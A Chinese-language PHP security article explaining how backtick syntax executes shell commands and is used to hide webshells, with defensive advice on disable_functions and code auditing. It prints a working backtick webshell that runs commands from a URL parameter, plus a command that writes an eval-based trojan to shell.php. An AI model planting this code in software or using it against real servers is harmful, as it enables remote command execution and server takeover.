警惕PHP反撇号代码注入后门：隐蔽执行命令的原理

什么是反撇号代码注入？

在日常PHP开发中，我们常使用 system() 或 shell_exec() 来调用系统命令。然而，有一种较少被关注的语法——反撇号（`，即键盘Esc键下方、数字1左侧的按键），也能实现完全相同的功能。

当PHP解释器遇到被反撇号包裹的变量时，会将其视为系统命令进行执行。这种写法常被黑客用于编写高伪装性的WebShell（后门程序），因为其代码结构看似无害，容易通过常规的安全审计忽略掉。

危险代码分析

以下是一段典型的反撇号后门代码示例：

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

第1步：接收外部参数

目的：获取用户输入的命令内容。
入口：$_GET 超全局数组
动作：从URL参数 r 中读取字符串并赋值给变量 $selfNums。

第2步：条件判断

目的：确保参数存在再执行，减少报错风险。
动作：使用 isset() 检查 $selfNums 是否已定义。

第3步：反撇号执行

目的：直接在服务器端运行系统命令。
动作：在 echo 语句中使用反撇号包裹变量：echo `$selfNums`;。
重要参数：无特定参数，直接传递整个变量内容。
可观察的完成状态：浏览器返回系统命令的标准输出结果（如目录列表、文件内容等）。

攻击原理详解

这段代码的核心危害在于 echo `$selfNums`; 这一行。在PHP中，双引号和反撇号都会尝试对字符串内的变量进行解析和特殊处理，但反撇号的优先级在于“执行结果”而非“字符串拼接”。它会将变量内容作为Shell指令发送给操作系统内核。

因此，当访问如下URL时：

• http://localhost/test.php?r=dir

服务器不会返回文字 “dir”，而是会在服务器上执行Windows的 dir 命令，并将列出的目录结构通过HTTP响应发回浏览器。这与直接调用 system('dir') 效果一致，但更加隐蔽。

潜在危害与利用场景

由于此方法绕过了常见的关键词过滤（如未检测到 system、exec 等高危函数名），攻击者可轻易利用其进行以下操作：

1. 遍历服务器目录：查看敏感配置文件、数据库备份等。
2. 写入木马文件：例如 echo <?php eval($_POST[c]); ?> > shell.php，进一步植入持久化后门。
3. 删除关键数据：破坏业务文件或数据库结构。
4. 扫描内网：连接其他内部服务。

防范建议

• 禁用危险函数：在 php.ini 中将 disable_functions 设置为 system,passthru,exec,shell_exec,popen,proc_open 等。
• 严格过滤输入：不要信任任何来自 $_GET, $_POST 的用户输入。如需执行固定命令，应使用白名单机制。
• 定期代码审计：除了查找常见函数，还需留意反撇号的使用情况，特别是在混淆代码中。

总结

反撇号作为一种非直观的语法糖，既是PHP早期的特性之一，也成为了黑客规避检测的有力工具。理解其背后的执行机制，有助于我们在面对可疑代码时迅速做出判断，保障服务器安全。

以上就是PHP反撇号代码注入后门的详细内容，更多关于PHP安全的资料请关注本站其它相关文章！